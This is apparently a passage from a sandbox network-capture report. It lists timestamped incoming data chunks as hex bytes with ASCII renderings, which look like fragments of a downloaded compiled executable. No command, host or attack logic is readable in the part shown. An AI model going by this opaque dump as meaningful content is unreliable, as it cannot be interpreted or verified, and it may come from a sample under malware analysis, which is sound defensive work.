90 48 8d 05 2b Data Ascii: nH$Hr9H$HtHD$XH$H\$P=wt5=wt,@;Ht1HD$XH$H\$PHYI?HHt.H$HD$7\EWeL4%(MH$HwH=rtJHPrSH$1mH$H+
2023-01-25 20:04:34 UTC	284	IN	Data Raw: 30 48 85 d2 74 1a 48 8b 15 a8 5f 72 00 48 89 91 a0 00 00 00 48 8b 4c 24 28 48 89 0d 95 5f 72 00 8b 4c 24 14 01 0d 9b 5f 72 00 90 90 48 8d 05 7a 5f 72 00 66 90 e8 1b 84 fc ff e9 e2 fe ff ff 48 8d 05 5d a2 49 00 bb 1d 00 00 00 e8 85 4a ff ff 90 48 89 44 24 08 48 89 5c 24 10 e8 55 fe 01 00 48 8b 44 24 08 48 8b 5c 24 10 e9 06 fe ff ff cc cc cc cc cc cc 49 3b 66 10 0f 86 c1 01 00 00 48 83 ec 28 48 89 6c 24 20 48 8d 6c 24 20 48 89 44 24 30 eb 16 90 90 48 8d 05 10 5f 72 00 e8 b3 83 fc ff 48 8b 4c 24 30 48 89 c8 48 8b 88 a0 09 00 00 0f 1f 40 00 48 85 c9 75 2b 48 83 3d f3 5e 72 00 00 75 0a 48 83 3d f1 5e 72 00 00 74 17 90 48 8d 05 d7 5e 72 00 e8 5a 81 fc ff 48 8b 4c 24 30 e9 0f 01 00 00 90 90 48 85 c9 74 0e 48 8b 91 a0 00 00 00 48 89 90 a0 09 00 00 0f 84 c5 00 00 Data Ascii: 0HtH_rHHL$(H_rL$_rHz_rfH]IJHD$H\$UHD$H\$I;fH(Hl$ Hl$ HD$0H_rHL$0HH@Hu+H=^ruH=^rtH^rZHL$0HtHH
2023-01-25 20:04:34 UTC	300	IN	Data Raw: 48 83 f9 18 72 c4 e9 8f 01 00 00 66 0f 1f 84 00 00 00 00 00 90 48 83 f9 18 0f 83 69 01 00 00 48 8d 50 30 88 54 0c 70 48 8d 51 e8 48 89 d6 48 c1 fa 3f 48 21 d1 48 8d 5c 0c 70 48 f7 de 48 8d 84 24 a8 00 00 00 48 89 f1 e8 88 84 00 00 48 89 84 24 18 01 00 00 48 89 5c 24 58 e8 36 23 ff ff 48 8b 84 24 18 01 00 00 48 8b 5c 24 58 e8 24 2c ff ff 48 8d 05 f2 c1 48 00 bb 08 00 00 00 e8 13 2c ff ff e8 8e 23 ff ff 48 8b 54 24 68 48 8b 74 24 50 48 29 f2 b8 17 00 00 00 eb 0d 48 8d 73 30 40 88 74 0c 70 48 8d 41 ff 48 83 fa 0a 72 32 48 89 c1 48 b8 cd cc cc cc cc cc cc cc 48 89 d3 48 f7 e2 48 c1 ea 03 48 8d 34 92 48 d1 e6 48 29 f3 66 0f 1f 44 00 00 48 83 f9 18 72 c0 e9 9b 00 00 00 48 83 f8 18 0f 83 87 00 00 00 48 83 c2 30 88 54 04 70 48 8d 48 e8 48 89 ca 48 c1 f9 3f 48 21 Data Ascii: HrfHiHP0TpHQHH?H!H\pHH$HH$H\$X6#H$H\$X$,HH,#HT$hHt$PH)Hs0@tpHAHr2HHHHHH4HH)fDHrHH0TpHHHH?H!
2023-01-25 20:04:34 UTC	316	IN	Data Raw: 8b 49 08 48 89 c8 e8 2a c3 fe ff 8d 8a 73 ff ff 3f 0f 1f 40 00 83 f9 02 77 31 90 48 8d 05 57 d3 48 00 bb 14 00 00 00 e8 69 a6 fe ff 48 8b 0d f2 93 3e 00 48 8b 1d f3 93 3e 00 48 85 c9 74 04 48 8b 49 08 48 89 c8 e8 ea c2 fe ff 81 fa 91 00 00 c0 74 c7 48 8d 05 29 79 48 00 bb 05 00 00 00 e8 71 ca fe ff 81 fa 93 00 00 c0 74 ae 81 fa 94 00 00 c0 74 3a 90 81 fa 95 00 00 c0 75 d6 90 48 8d 05 e1 b4 48 00 bb 10 00 00 00 e8 06 a6 fe ff 48 8b 0d af 93 3e 00 48 8b 1d b0 93 3e 00 48 85 c9 74 04 48 8b 49 08 48 89 c8 e8 87 c2 fe ff e8 42 ae fe ff 66 90 eb 9c 48 8d 05 a1 8c 49 00 bb 2a 00 00 00 e8 0d ca fe ff 90 e8 e7 7d 01 00 e9 e2 fd ff ff cc cc 49 3b 66 10 0f 86 49 01 00 00 48 83 ec 18 48 89 6c 24 10 48 8d 6c 24 10 83 f8 60 73 46 ba 01 00 00 00 48 8d 35 d3 1b 77 00 f0 Data Ascii: IHs?@w1HWHiH>H>HtHIHtH)yHqtt:uHHH>H>HtHIHBfHI}I;fIHHl$Hl$`sFH5w
2023-01-25 20:04:34 UTC	332	IN	Data Raw: 54 24 18 48 89 c8 4c 89 e3 48 89 f9 e8 44 6f 01 00 48 8b 4c 24 30 48 8b 44 24 18 48 39 c1 48 8b 94 24 88 00 00 00 48 8b 5c 24 20 48 8b 74 24 28 4c 8b 44 24 50 4c 8b 4c 24 38 49 89 c2 49 89 cb 48 8b 44 24 40 48 8b 4c 24 48 72 2e 49 8d 79 01 4c 29 d6 4d 29 d3 49 89 f1 48 f7 de 48 c1 fe 3f 49 21 f2 4a 8d 34 11 48 39 fa 0f 8f 4a ff ff ff 0f 1f 44 00 00 e9 36 ff ff ff 4c 89 d0 4c 89 d9 e8 f0 65 01 00 48 89 f0 e8 28 65 01 00 48 83 c3 10 49 89 f2 4c 89 ce 4d 89 c1 4d 89 d0 4c 8b 53 08 4d 85 d2 75 0e 4d 89 ca 49 89 f1 4c 89 c6 4d 89 d0 eb 0f 4f 8d 04 11 4d 39 c1 7f 1d 48 ff c7 49 89 f1 49 ff c1 4c 39 c9 7f c2 48 89 d3 48 89 fa 4c 89 c7 90 e9 fb fd ff ff 48 8d 05 2d e6 48 00 bb 1d 00 00 00 e8 ea 89 fe ff 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 Data Ascii: T$HLHDoHL$0HD$H9H$H\$ Ht$(LD$PLL$8IIHD$@HL$Hr.IyL)M)IHH?I!J4H9JD6LLeH(eHILMMLSMuMILMOM9HIIL9HHLH-HHD$H\$HL$H\|$
2023-01-25 20:04:34 UTC	348	IN	Data Raw: 80 fe 0e 0f 84 3e 02 00 00 48 85 d2 0f 84 0b 02 00 00 48 89 9c 24 98 00 00 00 48 89 84 24 90 00 00 00 48 8b 10 48 89 54 24 78 48 8b 70 08 48 89 74 24 40 48 8b 78 10 48 89 7c 24 48 31 c9 e8 52 02 00 00 84 c0 74 3c 48 8b 84 24 90 00 00 00 48 8b 48 28 48 8b 94 24 98 00 00 00 0f b6 5a 15 48 8d 0c 19 48 8d 49 ff 48 f7 db 48 21 cb 48 89 58 28 48 8b 0a 48 01 d9 48 89 48 28 48 89 c7 e9 85 01 00 00 48 8b 54 24 40 48 8b bc 24 90 00 00 00 48 89 57 08 48 8b 54 24 48 48 89 57 10 83 3d 61 99 76 00 00 75 0a 48 8b 54 24 78 48 89 17 eb 0a 48 8b 54 24 78 e8 7b 21 01 00 48 8b 57 20 4c 8b 84 24 98 00 00 00 45 0f b6 48 15 49 8d 14 11 48 8d 52 ff 49 f7 d9 49 21 d1 4c 89 4f 20 44 0f 11 7c 24 50 44 0f 11 7c 24 58 44 0f 11 7c 24 68 48 c7 44 24 50 01 00 00 00 48 8b 57 18 48 89 54 Data Ascii: >HH$H$HHT$xHpHt$@HxH\|$H1Rt<H$HH(H$ZHHIHH!HX(HHHH(HHT$@H$HWHT$HHW=avuHT$xHHT$x{!HW L$EHIHRII!LO D\|$PD\|$XD\|$hHD$PHWHT
2023-01-25 20:04:34 UTC	364	IN	Data Raw: 83 ec 48 48 89 6c 24 40 48 8d 6c 24 40 49 8b 56 30 48 8b 92 a0 00 00 00 84 02 80 ba d8 11 00 00 00 74 61 48 83 ba e0 11 00 00 00 74 46 48 89 54 24 38 44 0f 11 7c 24 28 4c 8b 82 e0 11 00 00 4c 89 44 24 28 4c 8b 82 e8 11 00 00 4c 89 44 24 30 b8 0c 00 00 00 48 c7 c3 ff ff ff ff 48 8d 4c 24 28 bf 02 00 00 00 48 89 fe e8 67 ee ff ff 48 8b 54 24 38 c6 82 d8 11 00 00 00 48 8b 6c 24 40 48 83 c4 48 c3 48 8d 05 9b 40 48 00 bb 19 00 00 00 0f 1f 44 00 00 e8 3b 0a fe ff 90 e8 15 be 00 00 e9 50 ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 b0 00 00 00 48 83 ec 48 48 89 6c 24 40 48 8d 6c 24 40 48 89 44 24 50 48 c7 80 d8 00 00 00 00 00 00 00 49 8b 4e 30 48 8b 89 a0 00 00 00 48 89 88 e0 00 00 00 48 89 d8 0f 1f 00 e8 7b 06 00 00 48 89 44 24 28 Data Ascii: HHl$@Hl$@IV0HtaHtFHT$8D\|$(LLD$(LLD$0HHL$(HgHT$8Hl$@HHH@HD;PI;fHHHl$@Hl$@HD$PHIN0HHH{HD$(
2023-01-25 20:04:34 UTC	380	IN	Data Raw: ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 0f 02 00 00 48 83 ec 40 48 89 6c 24 38 48 8d 6c 24 38 8b 88 90 00 00 00 89 ca 0f ba f1 0c 83 f9 0a 73 19 89 cb 48 c1 e3 04 48 8d 35 ca f2 3d 00 48 8b 3c 33 48 8b 5c 33 08 90 eb 0c bb 03 00 00 00 48 8d 3d 65 73 47 00 83 f9 04 75 40 0f b6 b0 b0 00 00 00 40 84 f6 74 31 90 40 80 fe 1b 72 11 83 f9 04 bb 13 00 00 00 48 8d 3d bd ce 47 00 eb 1c 48 c1 e6 04 48 8d 1d be fb 3d 00 48 8b 3c 1e 48 8b 5c 1e 08 83 f9 04 eb 03 83 f9 04 48 89 44 24 48 89 54 24 14 48 89 5c 24 20 48 89 7c 24 30 74 05 83 f9 03 75 59 48 83 b8 a8 00 00 00 00 74 4f e8 04 be 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 8b 04 24 48 8b 4c 24 48 48 2b 81 a8 00 00 00 48 89 c2 48 b8 40 47 4f 3f 9a Data Ascii: I;fH@Hl$8Hl$8sHH5=H<3H\3H=esGu@@t1@rH=GHH=H<H\HD$HT$H\$ H\|$0tuYHtOEWeL4%(MH$HL$HH+HH@GO?
2023-01-25 20:04:34 UTC	396	IN	Data Raw: 8b 79 10 41 89 d8 83 cb 04 48 85 f6 44 0f 4c c3 eb 04 90 8b 79 10 89 f8 83 e7 02 44 09 c7 f0 0f b1 79 10 0f 94 c3 84 db 74 e8 90 90 48 8b 44 24 20 0f 1f 40 00 e8 1b c4 fa ff 48 8b 44 24 38 48 8b 5c 24 18 e8 ec 24 fd ff 85 c0 74 29 89 44 24 14 48 8d 05 8d d9 75 00 48 8b 5c 24 18 e8 93 1b fd ff 8b 4c 24 14 48 63 d9 31 c0 48 8b 6c 24 28 48 83 c4 30 90 c3 48 8b 44 24 18 31 db 48 8b 6c 24 28 48 83 c4 30 c3 48 8d 05 6e 30 48 00 bb 26 00 00 00 66 90 e8 3b 8a fd ff 48 8d 05 62 36 48 00 bb 27 00 00 00 e8 2a 8a fd ff 90 48 89 44 24 08 0f 1f 40 00 e8 fb 3d 00 00 48 8b 44 24 08 e9 51 fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 81 00 00 00 48 83 ec 18 48 89 6c 24 10 48 8d 6c 24 10 80 78 30 00 74 5b 90 48 8b 48 20 48 85 c9 74 06 48 83 Data Ascii: yAHDLyDytHD$ @HD$8H\$$t)D$HuH\$L$Hc1Hl$(H0HD$1Hl$(H0Hn0H&f;Hb6H'*HD$@=HD$QI;fHHl$Hl$x0t[HH HtH
2023-01-25 20:04:34 UTC	412	IN	Data Raw: 84 24 88 00 00 00 f3 45 0f 7e 8c 24 90 00 00 00 f3 45 0f 7e 94 24 98 00 00 00 f3 45 0f 7e 9c 24 a0 00 00 00 f3 45 0f 7e a4 24 a8 00 00 00 f3 45 0f 7e ac 24 b0 00 00 00 f3 45 0f 7e b4 24 b8 00 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 28 48 83 f9 10 77 09 48 8d 05 ef 01 00 00 ff e0 48 83 f9 20 77 09 48 8d 05 a0 02 00 00 ff e0 48 83 f9 40 77 09 48 8d 05 51 03 00 00 ff e0 48 81 f9 80 00 00 00 77 09 48 8d 05 ff 03 00 00 ff e0 48 81 f9 00 01 00 00 77 09 48 8d 05 ed 04 00 00 ff e0 48 81 f9 00 02 00 00 77 09 48 8d 05 db 05 00 00 ff e0 48 81 f9 00 04 00 00 77 09 48 8d 05 c9 06 00 00 ff e0 48 81 f9 00 08 00 00 77 09 48 8d 05 b7 07 00 00 ff e0 48 81 f9 00 10 00 00 77 09 48 8d 05 a5 08 00 00 ff e0 48 81 f9 00 20 00 00 77 09 48 8d 05 93 Data Ascii: $E~$E~$E~$E~$E~$E~$L$(HwHH wHH@wHQHwHHwHHwHHwHHwHHwHH wH
2023-01-25 20:04:34 UTC	428	IN	Data Raw: e8 b0 be ff ff 48 8b 44 24 08 eb a9 4c 8d 6c 24 20 0f 1f 40 00 4d 39 2c 24 75 b7 49 89 24 24 eb b1 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 40 48 83 ec 18 48 89 6c 24 10 48 8d 6c 24 10 4d 8b 66 20 4d 85 e4 75 3a 0f 1f 00 48 85 c0 74 1b 48 8b 08 48 8b 58 08 48 89 c8 e8 8c 0f fa ff 48 8b 6c 24 10 48 83 c4 18 c3 66 90 e8 fb 23 fa ff 90 48 89 44 24 08 e8 30 be ff ff 48 8b 44 24 08 eb a9 4c 8d 6c 24 20 0f 1f 40 00 4d 39 2c 24 75 b7 49 89 24 24 eb b1 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 20 48 89 6c 24 18 48 8d 6c 24 18 48 8b 44 24 28 48 8b 5c 24 30 48 8b 4c 24 38 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 e8 8a c3 f9 ff 48 8b 6c 24 18 48 83 c4 20 90 c3 cc cc cc cc cc cc cc cc cc Data Ascii: HD$Ll$ @M9,$uI$$I;fv@HHl$Hl$Mf Mu:HtHHXHHl$Hf#HD$0HD$Ll$ @M9,$uI$$H Hl$Hl$HD$(H\$0HL$8EWeL4%(MHl$H
2023-01-25 20:04:34 UTC	444	IN	Data Raw: c0 08 48 8b 5c 24 48 e8 e9 30 ff ff 48 8b 4c 24 40 48 89 4c 24 18 48 89 44 24 20 48 8b 4c 24 18 48 89 c3 48 89 c8 48 8b 6c 24 28 48 83 c4 30 c3 48 8b 44 24 38 48 8d 48 08 48 8b 5c 24 48 48 89 c8 e8 4f 30 ff ff 48 8b 5c 24 40 48 8b 44 24 38 0f 1f 44 00 00 e8 3b 30 ff ff e8 f6 4f ff ff 44 0f 11 7c 24 18 31 c0 31 db 48 8b 6c 24 28 48 83 c4 30 c3 48 8d 05 3b da 3f 00 48 8d 1d 04 3b 50 00 e8 af c2 fc ff 48 8d 05 28 da 3f 00 48 8d 1d e1 3a 50 00 90 e8 9b c2 fc ff 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 06 7e ff ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 e9 b2 fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 91 01 00 00 48 83 ec 38 48 89 6c 24 30 48 8d 6c 24 30 48 89 5c 24 48 48 89 4c 24 50 48 89 7c 24 58 48 89 74 Data Ascii: H\$H0HL$@HL$HD$ HL$HHHl$(H0HD$8HHH\$HHO0H\$@HD$8D;0OD\|$11Hl$(H0H;?H;PH(?H:PHD$H\$HL$~HD$H\$HL$I;fH8Hl$0Hl$0H\$HHL$PH\|$XHt
2023-01-25 20:04:34 UTC	460	IN	Data Raw: 41 00 48 89 d3 48 8d 4c 24 70 e8 66 f5 f9 ff 48 8b 00 0f 1f 00 84 db 74 2e 44 0f 11 7c 24 70 48 8b 9c 24 b8 00 00 00 48 8b 8c 24 c0 00 00 00 e8 41 04 00 00 48 89 44 24 70 48 89 5c 24 78 40 84 ff 0f 85 d9 03 00 00 90 31 c0 48 8b 94 24 a0 00 00 00 be 01 00 00 00 f0 0f b1 32 40 0f 94 c6 40 84 f6 75 10 48 89 d0 e8 69 09 00 00 48 8b 94 24 a0 00 00 00 44 0f 11 7c 24 50 48 8b 72 08 48 85 f6 74 1c 48 8d 3d 5b d3 74 00 48 39 fe 74 10 48 8b 7a 10 48 89 74 24 50 48 89 7c 24 58 eb 06 44 0f 11 7c 24 50 48 c7 84 24 80 00 00 00 00 00 00 00 c6 84 24 88 00 00 00 00 48 8b 74 24 58 48 8d 3d d0 bb 42 00 48 39 7c 24 50 75 0b 4c 8b 06 0f b6 76 08 66 90 eb 05 31 f6 45 31 c0 40 88 74 24 1f 4c 89 84 24 80 00 00 00 40 88 b4 24 88 00 00 00 48 8b 9c 24 80 00 00 00 48 89 5c 24 40 48 Data Ascii: AHHL$pfHt.D\|$pH$H$AHD$pH\$x@1H$2@@uHiH$D\|$PHrHtH=[tH9tHzHt$PH\|$XD\|$PH$$Ht$XH=BH9\|$PuLvf1E1@t$L$@$H$H\$@H
2023-01-25 20:04:34 UTC	476	IN	Data Raw: 89 08 48 8d 0d 4c c2 4f 00 48 89 0d d5 26 6f 00 83 3d ee 99 74 00 00 75 09 48 89 05 cd 26 6f 00 eb 0c 48 8d 3d c4 26 6f 00 e8 e7 20 ff ff 48 8b 6c 24 10 48 83 c4 18 c3 e8 78 fe fe ff e9 33 fd ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 41 48 83 ec 18 48 89 6c 24 10 48 8d 6c 24 10 4d 8b 66 20 4d 85 e4 75 4f 48 89 5c 24 28 48 89 4c 24 30 48 85 c0 74 15 48 89 d8 48 89 cb e8 29 f3 ff ff 48 8b 6c 24 10 48 83 c4 18 c3 e8 da 63 f9 ff 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 05 fe fe ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 eb 94 4c 8d 6c 24 20 4d 39 2c 24 75 a6 49 89 24 24 eb a0 cc cc cc 49 3b 66 10 76 40 48 83 ec 20 48 89 6c 24 18 48 8d 6c 24 18 4d 8b 66 20 4d 85 e4 75 58 48 89 5c 24 30 48 85 c0 74 19 48 89 d8 Data Ascii: HLOH&o=tuH&oH=&o Hl$Hx3I;fvAHHl$Hl$Mf MuOH\$(HL$0HtHH)Hl$HcHD$H\$HL$HD$H\$HL$Ll$ M9,$uI$$I;fv@H Hl$Hl$Mf MuXH\$0HtH
2023-01-25 20:04:34 UTC	492	IN	Data Raw: 48 8d 50 02 4c 8d 43 fe be 10 00 00 00 4d 89 c1 eb 28 4c 8d 43 ff 4d 89 c1 49 f7 d8 49 c1 f8 3f 41 83 e0 01 4a 8d 14 00 be 08 00 00 00 eb 0b be 0a 00 00 00 49 89 d9 48 89 c2 48 85 ff 75 07 bf 40 00 00 00 eb 0f 48 83 ff 40 0f 87 8a 00 00 00 0f 1f 44 00 00 48 83 fe 0a 75 12 49 89 c0 49 89 d2 48 ba 9a 99 99 99 99 99 99 19 eb 37 48 83 fe 10 75 12 49 89 c0 49 89 d2 48 ba 00 00 00 00 00 00 00 10 eb 1f 48 85 f6 0f 84 9c 04 00 00 49 89 c0 48 c7 c0 ff ff ff ff 49 89 d2 31 d2 48 f7 f6 48 8d 50 01 48 89 5c 24 50 48 83 ff 40 4d 19 db 48 89 c8 48 89 f9 41 bc 01 00 00 00 49 d3 e4 4d 21 dc 49 8d 7c 24 ff 48 89 7c 24 30 31 c9 45 31 db 45 31 e4 90 e9 ee 00 00 00 48 89 c1 48 89 fe 48 8d 05 dd c8 45 00 48 89 df bb 09 00 00 00 e8 e1 fc ff ff 48 8d 1d da 87 4f 00 48 89 c1 31 Data Ascii: HPLCM(LCMII?AJIHHu@H@DHuIIH7HuIIHHIHI1HHPH\$PH@MHHAIM!I\|$H\|$01E1E1HHHEHHOH1
2023-01-25 20:04:34 UTC	508	IN	Data Raw: 41 ff ca 41 89 c3 d3 e8 44 21 c8 45 21 da 40 84 f6 74 49 49 8d 48 01 48 f7 d9 48 83 f9 20 45 19 c0 41 b9 01 00 00 00 41 d3 e1 45 21 c1 45 39 d1 72 19 75 1e 90 40 84 ff 74 11 45 39 d1 75 13 40 84 ff 74 0e 89 c3 83 e0 01 eb 0b b9 01 00 00 00 eb 2b 89 c3 31 c0 89 c1 89 d8 eb 21 49 8d 48 01 48 f7 d9 48 83 f9 20 45 19 c0 45 89 d1 41 d3 ea 45 21 c2 41 83 fa 01 0f 94 c1 45 89 ca 45 85 d2 74 02 31 ff 83 f7 01 89 c3 48 8b 74 24 60 48 8b 44 24 48 89 ca 89 f9 89 d7 e8 77 03 00 00 48 8b 54 24 48 4c 8b 42 20 4c 8b 4c 24 30 4d 29 c8 49 ff c0 4c 89 42 20 48 8b 6c 24 38 48 83 c4 40 c3 be 01 00 00 00 b9 01 00 00 00 e9 13 ff ff ff 48 ff c6 89 f8 49 89 d0 4c 89 d2 4c 39 ce 7d e1 89 c7 48 b8 cd cc cc cc cc cc cc cc 49 89 d2 49 f7 e0 48 c1 ea 02 4c 8d 1c 92 4d 39 d8 74 d1 89 Data Ascii: AAD!E!@tIIHHH EAAE!E9ru@tE9u@t+1!IHHH EEAE!AEEt1Ht$`HD$HwHT$HLB LL$0M)ILB Hl$8H@HILL9}HIIHLM9t
2023-01-25 20:04:34 UTC	524	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 93 00 00 00 48 83 ec 20 48 89 6c 24 18 48 8d 6c 24 18 48 8b 48 08 48 8b 13 48 8b 30 48 39 4b 08 75 69 48 8b 7b 18 48 39 78 18 75 5f 48 89 44 24 28 48 89 5c 24 30 48 89 f0 48 89 d3 e8 b9 2d f8 ff 84 c0 74 46 48 8b 54 24 30 48 8b 5a 10 48 8b 74 24 28 48 8b 46 10 48 8b 4e 18 e8 9a 2d f8 ff 84 c0 74 27 48 8b 54 24 28 48 8b 42 20 48 8b 5a 28 48 8b 54 24 30 48 8b 4a 28 48 39 42 20 74 04 31 c0 eb 09 e8 31 40 f8 ff eb 02 31 c0 48 8b 6c 24 18 48 83 c4 20 c3 48 89 44 24 08 48 89 5c 24 10 e8 f4 3d fe ff 48 8b 44 24 08 48 8b 5c 24 10 e9 45 ff ff ff cc cc cc cc cc 49 3b 66 10 76 77 48 83 ec 18 48 89 6c 24 10 48 8d 6c 24 10 3d ff 00 00 00 77 47 0f 1f 44 00 00 83 f8 20 7f 0f 8d 48 f7 83 f9 Data Ascii: I;fH Hl$Hl$HHHH0H9KuiH{H9xu_HD$(H\$0HH-tFHT$0HZHt$(HFHN-t'HT$(HB HZ(HT$0HJ(H9B t11@1Hl$H HD$H\$=HD$H\$EI;fvwHHl$Hl$=wGD H
2023-01-25 20:04:34 UTC	540	IN	Data Raw: 0f 3b 00 83 3d fb 99 73 00 00 75 05 48 89 10 eb 09 48 89 c7 90 e8 1b 22 fe ff 48 8d 05 f4 cd 3f 00 48 8b 5c 24 30 48 8d 0d d5 ff 44 00 bf 07 00 00 00 0f 1f 00 e8 9b fb f8 ff 84 00 48 8b 15 42 0f 3b 00 83 3d bb 99 73 00 00 75 05 48 89 10 eb 09 48 89 c7 90 e8 db 21 fe ff 48 8d 05 b4 cd 3f 00 48 8b 5c 24 30 48 8d 0d 91 40 45 00 bf 12 00 00 00 0f 1f 00 e8 5b fb f8 ff 84 00 48 8b 15 0a 0f 3b 00 83 3d 7b 99 73 00 00 75 05 48 89 10 eb 09 48 89 c7 90 e8 9b 21 fe ff 48 8d 05 74 cd 3f 00 48 8b 5c 24 30 48 8d 0d 38 39 45 00 bf 11 00 00 00 0f 1f 00 e8 1b fb f8 ff 84 00 48 8b 15 02 0f 3b 00 83 3d 3b 99 73 00 00 75 05 48 89 10 eb 09 48 89 c7 90 e8 5b 21 fe ff 48 8d 05 34 cd 3f 00 48 8b 5c 24 30 48 8d 0d 14 f8 44 00 bf 05 00 00 00 0f 1f 00 e8 db fa f8 ff 84 00 48 8b 15 Data Ascii: ;=suHH"H?H\$0HDHB;=suHH!H?H\$0H@E[H;={suHH!Ht?H\$0H89EH;=;suHH[!H4?H\$0HDH
2023-01-25 20:04:34 UTC	556	IN	Data Raw: 48 89 84 24 f0 00 00 00 48 8b 94 24 98 01 00 00 48 89 50 10 0f b7 94 24 b8 01 00 00 66 89 50 18 4c 8b 84 24 e0 00 00 00 49 c1 f8 0a 4c 89 40 20 48 8b b4 24 d8 00 00 00 48 89 70 38 83 3d c2 59 73 00 00 75 1a 48 8b 8c 24 f8 00 00 00 48 89 48 28 48 8b bc 24 00 01 00 00 48 89 78 30 eb 25 48 8d 78 28 48 8b 8c 24 f8 00 00 00 e8 a5 e1 fd ff 48 8d 78 30 4c 8b 8c 24 00 01 00 00 e8 34 e2 fd ff 4c 89 cf 48 8b 84 24 88 02 00 00 48 8b 9c 24 90 02 00 00 90 e8 bb 9f 00 00 48 8b 84 24 e8 00 00 00 84 00 48 8b 8c 24 e0 00 00 00 83 e1 60 48 83 c9 13 48 8b 9c 24 f0 00 00 00 48 8b ac 24 78 02 00 00 48 81 c4 80 02 00 00 c3 48 8d 1d 43 24 44 00 48 8d 0d dc 8f 43 00 e8 37 36 f8 ff 48 8d 05 d0 19 3e 00 48 8d 1d c9 74 4e 00 e8 44 02 fb ff 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c Data Ascii: H$H$HP$fPL$IL@ H$Hp8=YsuH$HH(H$Hx0%Hx(H$Hx0L$4LH$H$H$H$`HH$H$xHHC$DHC76H>HtNDHD$H\$HL
2023-01-25 20:04:34 UTC	572	IN	Data Raw: 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 0f 1f 44 00 00 e8 9b 7e fd ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 e9 27 ff ff ff cc cc cc cc cc cc cc 49 3b 66 10 0f 86 8f 00 00 00 48 83 ec 28 48 89 6c 24 20 48 8d 6c 24 20 48 89 5c 24 38 48 89 4c 24 40 48 85 db 74 5e 48 8d 15 d2 a5 4e 00 48 39 d3 75 3c 48 89 4c 24 40 48 89 44 24 18 48 89 c3 48 89 c8 e8 f8 07 00 00 84 c0 74 07 b8 01 00 00 00 eb 12 48 8b 44 24 40 48 8b 5c 24 18 0f 1f 00 e8 5b 01 00 00 48 8b 6c 24 20 48 83 c4 28 c3 48 89 d8 48 8d 1d 67 e4 43 00 48 8d 0d 00 50 43 00 e8 5b f6 f7 ff 48 8d 05 f4 d9 3d 00 48 8d 1d 5d 35 4e 00 e8 68 c2 fa ff 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 d3 7d fd ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 0f 1f 40 00 e9 3b ff ff ff cc cc cc cc cc Data Ascii: HD$H\$HL$D~HD$H\$HL$'I;fH(Hl$ Hl$ H\$8HL$@Ht^HNH9u<HL$@HD$HHtHD$@H\$[Hl$ H(HHgCHPC[H=H]5NhHD$H\$HL$}HD$H\$HL$@;
2023-01-25 20:04:34 UTC	588	IN	Data Raw: 83 ec 38 48 89 6c 24 30 48 8d 6c 24 30 48 89 44 24 40 48 89 5c 24 48 83 e1 1f 48 83 f9 17 75 4a 48 89 5c 24 28 e8 cb 98 ff ff 48 8b 88 98 00 00 00 48 89 d8 90 ff d1 48 83 f8 05 75 1a 48 8b 54 24 28 48 8b 02 48 8b 5a 08 48 8b 4a 10 48 8b 6c 24 30 48 83 c4 38 c3 48 8d 05 57 9a 3d 00 48 8d 1d 70 f6 4d 00 e8 cb 82 fa ff 48 89 4c 24 18 e8 01 f7 ff ff 48 89 44 24 20 48 89 5c 24 10 48 8d 05 b0 9e 40 00 e8 ab e2 f7 ff 48 8b 4c 24 10 48 89 48 08 83 3d 6b d9 72 00 00 75 20 48 8b 4c 24 20 48 89 08 48 8b 4c 24 18 48 89 48 10 48 89 c3 48 8d 05 1e c6 3e 00 e8 79 82 fa ff 48 89 c7 48 8b 4c 24 20 e8 4c 61 fd ff eb d9 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 d6 3d fd ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 e9 02 ff ff ff cc cc 48 89 44 24 08 48 89 5c 24 10 Data Ascii: 8Hl$0Hl$0HD$@H\$HHuJH\$(HHHuHT$(HHZHJHl$0H8HW=HpMHL$HD$ H\$H@HL$HH=kru HL$ HHL$HHHH>yHHL$ LaHD$H\$HL$=HD$H\$HL$HD$H\$
